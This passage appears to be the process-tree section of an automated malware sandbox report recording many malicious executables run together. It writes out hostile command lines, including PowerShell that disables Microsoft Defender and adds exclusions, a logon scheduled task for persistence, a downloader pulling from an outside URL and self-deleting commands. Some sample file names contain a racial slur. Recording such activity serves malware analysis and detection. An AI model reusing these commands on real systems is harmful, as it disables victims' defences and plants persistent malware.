C:\Windows\System32\LuqyPWO.exeC:\Windows\System32\LuqyPWO.exe3⤵
-
-
C:\Windows\System32\qjtitBI.exeC:\Windows\System32\qjtitBI.exe3⤵
-
-
C:\Windows\System32\rxeqHLQ.exeC:\Windows\System32\rxeqHLQ.exe3⤵
-
-
C:\Windows\System32\njIcVzx.exeC:\Windows\System32\njIcVzx.exe3⤵
-
-
C:\Windows\System32\ChsgNox.exeC:\Windows\System32\ChsgNox.exe3⤵
-
-
C:\Windows\System32\zPImLmG.exeC:\Windows\System32\zPImLmG.exe3⤵
-
-
C:\Windows\System32\SXZfRAO.exeC:\Windows\System32\SXZfRAO.exe3⤵
-
-
C:\Windows\System32\QvCrZkW.exeC:\Windows\System32\QvCrZkW.exe3⤵
-
-
C:\Windows\System32\TkWgwVw.exeC:\Windows\System32\TkWgwVw.exe3⤵
-
-
C:\Windows\System32\cFNhWrH.exeC:\Windows\System32\cFNhWrH.exe3⤵
-
-
C:\Windows\System32\bOfnweJ.exeC:\Windows\System32\bOfnweJ.exe3⤵
-
-
C:\Windows\System32\BoidDTm.exeC:\Windows\System32\BoidDTm.exe3⤵
-
-
C:\Windows\System32\azSdFLH.exeC:\Windows\System32\azSdFLH.exe3⤵
-
-
C:\Windows\System32\rEEKBfV.exeC:\Windows\System32\rEEKBfV.exe3⤵
-
-
C:\Windows\System32\ZIOFYLQ.exeC:\Windows\System32\ZIOFYLQ.exe3⤵
-
-
C:\Windows\System32\STvysey.exeC:\Windows\System32\STvysey.exe3⤵
-
-
C:\Windows\System32\OxvgHKe.exeC:\Windows\System32\OxvgHKe.exe3⤵
-
-
C:\Windows\System32\PsSumtM.exeC:\Windows\System32\PsSumtM.exe3⤵
-
-
C:\Windows\System32\bfRCaUA.exeC:\Windows\System32\bfRCaUA.exe3⤵
-
-
C:\Windows\System32\UgNDGpw.exeC:\Windows\System32\UgNDGpw.exe3⤵
-
-
C:\Windows\System32\vNbFmUm.exeC:\Windows\System32\vNbFmUm.exe3⤵
-
-
C:\Windows\System32\umAYiyA.exeC:\Windows\System32\umAYiyA.exe3⤵
-
-
C:\Windows\System32\GWMbbsq.exeC:\Windows\System32\GWMbbsq.exe3⤵
-
-
C:\Windows\System32\uvsBhXS.exeC:\Windows\System32\uvsBhXS.exe3⤵
-
-
C:\Windows\System32\jLcPkCy.exeC:\Windows\System32\jLcPkCy.exe3⤵
-
-
C:\Windows\System32\URemBfu.exeC:\Windows\System32\URemBfu.exe3⤵
-
-
C:\Windows\System32\cxJTgzd.exeC:\Windows\System32\cxJTgzd.exe3⤵
-
-
C:\Windows\System32\ZlOYuAo.exeC:\Windows\System32\ZlOYuAo.exe3⤵
-
-
C:\Windows\System32\PKqgZGB.exeC:\Windows\System32\PKqgZGB.exe3⤵
-
-
C:\Windows\System32\qTsseCE.exeC:\Windows\System32\qTsseCE.exe3⤵
-
-
C:\Windows\System32\ZdRLwCH.exeC:\Windows\System32\ZdRLwCH.exe3⤵
-
-
C:\Windows\System32\lYfEIqb.exeC:\Windows\System32\lYfEIqb.exe3⤵
-
-
C:\Windows\System32\ahpJxPS.exeC:\Windows\System32\ahpJxPS.exe3⤵
-
-
C:\Windows\System32\eWTGPQb.exeC:\Windows\System32\eWTGPQb.exe3⤵
-
-
C:\Windows\System32\LzshJnx.exeC:\Windows\System32\LzshJnx.exe3⤵
-
-
C:\Windows\System32\qZGKegR.exeC:\Windows\System32\qZGKegR.exe3⤵
-
-
C:\Windows\System32\JSVKqgT.exeC:\Windows\System32\JSVKqgT.exe3⤵
-
-
C:\Windows\System32\bHiNiGp.exeC:\Windows\System32\bHiNiGp.exe3⤵
-
-
C:\Windows\System32\gWVKZmm.exeC:\Windows\System32\gWVKZmm.exe3⤵
-
-
C:\Windows\System32\JoXSHaz.exeC:\Windows\System32\JoXSHaz.exe3⤵
-
-
C:\Windows\System32\xAAknHS.exeC:\Windows\System32\xAAknHS.exe3⤵
-
-
C:\Windows\System32\HulbQRC.exeC:\Windows\System32\HulbQRC.exe3⤵
-
-
C:\Windows\System32\uBkVDtg.exeC:\Windows\System32\uBkVDtg.exe3⤵
-
-
C:\Windows\System32\aXGdOrX.exeC:\Windows\System32\aXGdOrX.exe3⤵
-
-
C:\Windows\System32\BIbBDlv.exeC:\Windows\System32\BIbBDlv.exe3⤵
-
-
C:\Windows\System32\cAOqLxO.exeC:\Windows\System32\cAOqLxO.exe3⤵
-
-
C:\Windows\System32\GjtKfkz.exeC:\Windows\System32\GjtKfkz.exe3⤵
-
-
C:\Windows\System32\nUTtrbI.exeC:\Windows\System32\nUTtrbI.exe3⤵
-
-
C:\Windows\System32\LHLuCoh.exeC:\Windows\System32\LHLuCoh.exe3⤵
-
-
C:\Windows\System32\gfreSBK.exeC:\Windows\System32\gfreSBK.exe3⤵
-
-
C:\Windows\System32\gWzfONx.exeC:\Windows\System32\gWzfONx.exe3⤵
-
-
C:\Windows\System32\PzZkrFn.exeC:\Windows\System32\PzZkrFn.exe3⤵
-
-
C:\Windows\System32\CkInYCV.exeC:\Windows\System32\CkInYCV.exe3⤵
-
-
C:\Windows\System32\GQCNBso.exeC:\Windows\System32\GQCNBso.exe3⤵
-
-
C:\Windows\System32\hBFsRHv.exeC:\Windows\System32\hBFsRHv.exe3⤵
-
-
C:\Windows\System32\aNEZBgT.exeC:\Windows\System32\aNEZBgT.exe3⤵
-
-
C:\Windows\System32\cIHrThZ.exeC:\Windows\System32\cIHrThZ.exe3⤵
-
-
C:\Windows\System32\oiiKsjW.exeC:\Windows\System32\oiiKsjW.exe3⤵
-
-
C:\Windows\System32\kFiHVMM.exeC:\Windows\System32\kFiHVMM.exe3⤵
-
-
C:\Windows\System32\VPjHQiU.exeC:\Windows\System32\VPjHQiU.exe3⤵
-
-
C:\Windows\System32\jzwsfcF.exeC:\Windows\System32\jzwsfcF.exe3⤵
-
-
C:\Windows\System32\weBTBYc.exeC:\Windows\System32\weBTBYc.exe3⤵
-
-
C:\Windows\System32\SSYXQnb.exeC:\Windows\System32\SSYXQnb.exe3⤵
-
-
C:\Windows\System32\TSRiLgk.exeC:\Windows\System32\TSRiLgk.exe3⤵
-
-
C:\Windows\System32\lUqKMva.exeC:\Windows\System32\lUqKMva.exe3⤵
-
-
C:\Windows\System32\ykBfokb.exeC:\Windows\System32\ykBfokb.exe3⤵
-
-
C:\Windows\System32\lnWIXQF.exeC:\Windows\System32\lnWIXQF.exe3⤵
-
-
C:\Windows\System32\AuiRBJL.exeC:\Windows\System32\AuiRBJL.exe3⤵
-
-
C:\Windows\System32\nrKyoBd.exeC:\Windows\System32\nrKyoBd.exe3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\funny78.exe"C:\Users\Admin\AppData\Local\Temp\funny78.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\funny78Srv.exeC:\Users\Admin\AppData\Local\Temp\funny78Srv.exe3⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"4⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2056 CREDAT:17410 /prefetch:25⤵
-
-
-
-
C:\Program Files (x86)\Microsoft\DesktopLayer.exe"C:\Program Files (x86)\Microsoft\DesktopLayer.exe"3⤵
-
C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe"C:\Program Files (x86)\Microsoft\DesktopLayerSrv.exe"4⤵
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"5⤵
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe"4⤵
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4952 CREDAT:17410 /prefetch:25⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5064 -s 28166⤵
- Program crash
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"C:\Users\Admin\AppData\Local\Temp\G4gtDRI.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exeC:\Users\Admin\AppData\Local\Temp\iZ8POZ6.exe3⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=133.0.6943.99 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=133.0.3065.69 --initial-client-data=0x408,0x40c,0x410,0x404,0x458,0x7fff9248f208,0x7fff9248f214,0x7fff9248f2205⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --string-annotations --gpu-preferences=UAAAAAAAAADgAAAEAAAAAAAAAAAAAAAAAABgAAEAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAIAAAAAAAAAAgAAAAAAAAA --always-read-main-dll --field-trial-handle=2868,i,995698332154229067,6284450178995301991,262144 --variations-seed-version --mojo-platform-channel-handle=2852 /prefetch:25⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --string-annotations --always-read-main-dll --field-trial-handle=1964,i,995698332154229067,6284450178995301991,262144 --variations-seed-version --mojo-platform-channel-handle=3080 /prefetch:35⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --string-annotations --always-read-main-dll --field-trial-handle=2416,i,995698332154229067,6284450178995301991,262144 --variations-seed-version --mojo-platform-channel-handle=3120 /prefetch:85⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --string-annotations --pdf-upsell-enabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=3784,i,995698332154229067,6284450178995301991,262144 --variations-seed-version --mojo-platform-channel-handle=3780 /prefetch:15⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"C:\Users\Admin\AppData\Local\Temp\j9a8isjfoksdlmgwer.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\k1t.exe"C:\Users\Admin\AppData\Local\Temp\k1t.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"C:\Users\Admin\AppData\Local\Temp\kaQ7Taz.exe"2⤵
-
C:\Windows\SysWOW64\dllhost.exe"C:\Windows\SysWOW64\dllhost.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"C:\Users\Admin\AppData\Local\Temp\Launcher_x64.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\LB3.exe"C:\Users\Admin\AppData\Local\Temp\LB3.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"C:\Users\Admin\AppData\Local\Temp\New Text Document mod.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\CPP.exe"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\G38FpQr.exe"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\a\nJ66RiN.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\nJ66RiN.exeC:\Users\Admin\AppData\Local\Temp\a\nJ66RiN.exe4⤵
-
C:\Windows\SYSTEM32\sc.exesc.exe5⤵
- Launches sc.exe
-
-
C:\Windows\SYSTEM32\cmd.execmd /c move Kai.dot Kai.dot.bat && Kai.dot.bat5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"C:\Users\Admin\AppData\Local\Temp\niggaaaaa.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\nigganet.exe"C:\Users\Admin\AppData\Local\Temp\nigganet.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\oi.exe"C:\Users\Admin\AppData\Local\Temp\oi.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\oi.exeC:\Users\Admin\AppData\Local\Temp\oi.exe3⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe4⤵
-
C:\Users\Admin\AppData\Roaming\omsecor.exeC:\Users\Admin\AppData\Roaming\omsecor.exe5⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 808 -s 2725⤵
- Program crash
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5700 -s 2883⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"C:\Users\Admin\AppData\Local\Temp\Oxymorphazone.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"C:\Users\Admin\AppData\Local\Temp\RenT7Wg.exe"2⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Restter.exe"C:\Users\Admin\AppData\Local\Temp\Restter.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"C:\Users\Admin\AppData\Local\Temp\._cache_Restter.exe"3⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exe"C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"C:\Users\Admin\AppData\Local\Temp\RobloxOptimizer.exe"2⤵
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "MsEdge" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe" /rl HIGHEST /f3⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"C:\Users\Admin\AppData\Local\Temp\sdoijsgroeij324.exe"2⤵
-
\??\c:\lfffffx.exec:\lfffffx.exe3⤵
-
\??\c:\nthbtn.exec:\nthbtn.exe4⤵
-
\??\c:\vvjjj.exec:\vvjjj.exe5⤵
-
\??\c:\rflffxx.exec:\rflffxx.exe6⤵
-
\??\c:\1hhhbb.exec:\1hhhbb.exe7⤵
-
\??\c:\vvvdp.exec:\vvvdp.exe8⤵
-
\??\c:\hhhhbt.exec:\hhhhbt.exe9⤵
-
\??\c:\djjpj.exec:\djjpj.exe10⤵
-
\??\c:\5ppjd.exec:\5ppjd.exe11⤵
-
\??\c:\ttnhtt.exec:\ttnhtt.exe12⤵
-
\??\c:\fxxxrlr.exec:\fxxxrlr.exe13⤵
-
\??\c:\dvjdd.exec:\dvjdd.exe14⤵
-
\??\c:\rlxxfxl.exec:\rlxxfxl.exe15⤵
-
\??\c:\bbbbtn.exec:\bbbbtn.exe16⤵
-
\??\c:\nbtttt.exec:\nbtttt.exe17⤵
-
\??\c:\dvvpj.exec:\dvvpj.exe18⤵
-
\??\c:\ttnnbn.exec:\ttnnbn.exe19⤵
-
\??\c:\vvppj.exec:\vvppj.exe20⤵
-
\??\c:\7hhbbt.exec:\7hhbbt.exe21⤵
-
\??\c:\5bhbnn.exec:\5bhbnn.exe22⤵
-
\??\c:\ffxfxxl.exec:\ffxfxxl.exe23⤵
-
\??\c:\xrlfxrl.exec:\xrlfxrl.exe24⤵
-
\??\c:\fffxlfr.exec:\fffxlfr.exe25⤵
-
\??\c:\jdvjp.exec:\jdvjp.exe26⤵
-
\??\c:\nnnnhh.exec:\nnnnhh.exe27⤵
-
\??\c:\jdvpj.exec:\jdvpj.exe28⤵
-
\??\c:\bnnhhb.exec:\bnnhhb.exe29⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"C:\Users\Admin\AppData\Local\Temp\tuffnigga.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Umbral.exe"C:\Users\Admin\AppData\Local\Temp\Umbral.exe"2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Umbral.exe'3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 23⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"C:\Users\Admin\AppData\Local\Temp\48qKwkR.exe"2⤵
-
-
C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"2⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\ANOTHE~1.EXE"3⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\Files\l843.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\aoi1j.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"C:\Users\Admin\AppData\Local\Temp\3582-490\aoi1j.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"C:\Users\Admin\AppData\Local\Temp\aoisjf.exe"2⤵
-
C:\Windows\SysWOW64\Hiiggoaf.exeC:\Windows\system32\Hiiggoaf.exe3⤵
-
C:\Windows\SysWOW64\Ikkpgafg.exeC:\Windows\system32\Ikkpgafg.exe4⤵
-
C:\Windows\SysWOW64\Ipjedh32.exeC:\Windows\system32\Ipjedh32.exe5⤵
-
C:\Windows\SysWOW64\Jgnqgqan.exeC:\Windows\system32\Jgnqgqan.exe6⤵
-
C:\Windows\SysWOW64\Jcgnbaeo.exeC:\Windows\system32\Jcgnbaeo.exe7⤵
-
C:\Windows\SysWOW64\Knchpiom.exeC:\Windows\system32\Knchpiom.exe8⤵
-
C:\Windows\SysWOW64\Lqikmc32.exeC:\Windows\system32\Lqikmc32.exe9⤵
-
C:\Windows\SysWOW64\Lclpdncg.exeC:\Windows\system32\Lclpdncg.exe10⤵
-
C:\Windows\SysWOW64\Mnhkbfme.exeC:\Windows\system32\Mnhkbfme.exe11⤵
-
C:\Windows\SysWOW64\Nclikl32.exeC:\Windows\system32\Nclikl32.exe12⤵
-
C:\Windows\SysWOW64\Nccokk32.exeC:\Windows\system32\Nccokk32.exe13⤵
-
C:\Windows\SysWOW64\Olanmgig.exeC:\Windows\system32\Olanmgig.exe14⤵
-
C:\Windows\SysWOW64\Omjpeo32.exeC:\Windows\system32\Omjpeo32.exe15⤵
-
C:\Windows\SysWOW64\Phigif32.exeC:\Windows\system32\Phigif32.exe16⤵
-
C:\Windows\SysWOW64\Boeebnhp.exeC:\Windows\system32\Boeebnhp.exe17⤵
-
C:\Windows\SysWOW64\Bdickcpo.exeC:\Windows\system32\Bdickcpo.exe18⤵
-
C:\Windows\SysWOW64\Cfnjpfcl.exeC:\Windows\system32\Cfnjpfcl.exe19⤵
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE.tmp"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"C:\Users\Admin\AppData\Local\Temp\aosidjn.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\aosuifhn.exe"C:\Users\Admin\AppData\Local\Temp\aosuifhn.exe"2⤵
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\ASO9IU~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\ASO9IU~1.EXEC:\Users\Admin\AppData\Local\Temp\ASO9IU~1.EXE3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\BB84D7~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\BB84D7~1.EXEC:\Users\Admin\AppData\Local\Temp\BB84D7~1.EXE3⤵
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exe" https://bb.c1yun.xyz/cert.jpg4⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exeC:\Users\Admin\AppData\Local\Temp\RarSFX0\cert.exe https://bb.c1yun.xyz/cert.jpg5⤵
-
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\BLTOOL~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\BLTOOL~1.EXEC:\Users\Admin\AppData\Local\Temp\BLTOOL~1.EXE3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EB8002~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\EB8002~1.EXEC:\Users\Admin\AppData\Local\Temp\EB8002~1.EXE3⤵
-
C:\Windows\microsofthelp.exe"C:\Windows\microsofthelp.exe"4⤵
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE"2⤵
-
C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXEC:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ping -n 2 127.0.0.1 > nul && del C:\Users\Admin\AppData\Local\Temp\EE8120~1.EXE > nul4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\funny.exe"2⤵
-
C:\Users\Admin\AppData\Local\Temp\funny.exeC:\Users\Admin\AppData\Local\Temp\funny.exe3⤵
-
-
-
C:\Windows\svchost.com"C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\funny1.exe"2⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 808 -ip 8081⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 5700 -ip 57001⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 440 -p 1568 -ip 15681⤵
-
C:\Windows\system32\AUDIODG.EXEC:\Windows\system32\AUDIODG.EXE 0x544 0x5401⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\uGiG.eXeuGiG.eXe1⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 11436 -ip 114361⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Windows\SysWOW64\openwith.exe"C:\Windows\system32\openwith.exe"1⤵
-
\??\c:\fxxrlfr.exec:\fxxrlfr.exe1⤵
-
\??\c:\jvjvd.exec:\jvjvd.exe2⤵
-
\??\c:\ppddv.exec:\ppddv.exe3⤵
-
\??\c:\9jjjv.exec:\9jjjv.exe4⤵
-
\??\c:\bbhbnb.exec:\bbhbnb.exe5⤵
-
\??\c:\jvdpj.exec:\jvdpj.exe6⤵
-
\??\c:\thntnn.exec:\thntnn.exe7⤵
-
\??\c:\7ddvj.exec:\7ddvj.exe8⤵
-
\??\c:\5rrlffx.exec:\5rrlffx.exe9⤵
-
\??\c:\vpdvj.exec:\vpdvj.exe10⤵
-
\??\c:\xrlfxlf.exec:\xrlfxlf.exe11⤵
-
-
-
-
-
-
-
-
-
-
-
C:\Windows\SysWOW64\Foclgq32.exeC:\Windows\system32\Foclgq32.exe1⤵
-
C:\Windows\SysWOW64\Gejhef32.exeC:\Windows\system32\Gejhef32.exe2⤵
-
C:\Windows\SysWOW64\Kekbjo32.exeC:\Windows\system32\Kekbjo32.exe3⤵
-
C:\Windows\SysWOW64\Nhegig32.exeC:\Windows\system32\Nhegig32.exe4⤵
-
C:\Windows\SysWOW64\Ojnfihmo.exeC:\Windows\system32\Ojnfihmo.exe5⤵
-
C:\Windows\SysWOW64\Pmkofa32.exeC:\Windows\system32\Pmkofa32.exe6⤵
-
C:\Windows\SysWOW64\Ampaho32.exeC:\Windows\system32\Ampaho32.exe7⤵
-
C:\Windows\SysWOW64\Bbhildae.exeC:\Windows\system32\Bbhildae.exe8⤵
-
-
-
-
-
-
-
-
C:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exeC:\PROGRA~3\MICROS~1\Windows\STARTM~1\Programs\Startup\Skcsk.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c rd /S /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"C:\Program Files (x86)\Microsoft\Edge\Application\133.0.3065.69\elevation_service.exe"1⤵
-
C:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exeC:\Users\Admin\AppData\Roaming\SubDir\Cleaner.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\Windows\SysWOW64\._cache_Synaptics.exe"C:\Windows\system32\._cache_Synaptics.exe"2⤵
-
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c del /F /Q "C:\ProgramData\Synaptics\Synaptics.exe.dat"2⤵
-
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
C:\Windows\microsofthelp.exeC:\Windows\microsofthelp.exe1⤵
-
C:\ProgramData\Synaptics\Synaptics.exeC:\ProgramData\Synaptics\Synaptics.exe1⤵
-
